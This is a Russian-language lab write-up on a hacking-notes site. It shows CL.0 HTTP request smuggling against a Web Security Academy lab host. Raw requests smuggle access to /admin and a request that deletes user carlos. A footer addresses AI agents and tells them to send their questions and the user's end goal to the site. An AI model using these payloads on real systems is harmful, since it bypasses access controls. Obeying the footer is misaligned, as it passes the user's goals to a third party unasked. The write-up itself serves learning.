> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/cl-0-request-smuggling.md).

# Контрабанда запросов CL.0

### 0.CL-переправка запросов

#### **Краткое содержание лабораторной работы**

В этом сценарии, **CL.0** уязвимость эксплуатируется, при которой сервер бэкенда \*\*игнорирует заголовок Content-Length\*\* для некоторых путей. Это несоответствие позволяет внедрить второй запрос в тело, казалось бы, обычного POST-запроса.

#### **Выявление уязвимого места**

После нескольких тестов мы обнаруживаем, что URL:

```
/resources/images/blog.svg
```

обрабатывается бэкендом иначе:/ даже если Content-Length установлен в ноль, сервер получает **весь предоставленный контент**, создавая идеальные условия для переправки на основе CL.0.

#### **Внедрение скрытого запроса**

Сначала отправляется минимальный POST-запрос для подтверждения поведения:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

Далее мы используем тот факт, что бэкенд, несмотря ни на что, всё равно читает предназначенное для него содержимое **переправляет второй запрос**, нацеленный на доступ к панели администратора:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Тест: A
```

Бэкенд интерпретирует внедрённую часть как независимый запрос и позволяет нам обойти ограничения фронтенда.

<figure><img src="/files/1036d4555cc6cff399317183fe99778596e57742" alt=""><figcaption></figcaption></figure>

#### **Удаление пользователя Carlos**

После подтверждения доступа к панели администратора внедряется аналогичный запрос, чтобы запустить действие:

```http
/admin/delete?username=carlos
```

Это даёт:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Тест: A
```

<figure><img src="/files/999daefc43cd43494427e130588318af768f5532" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
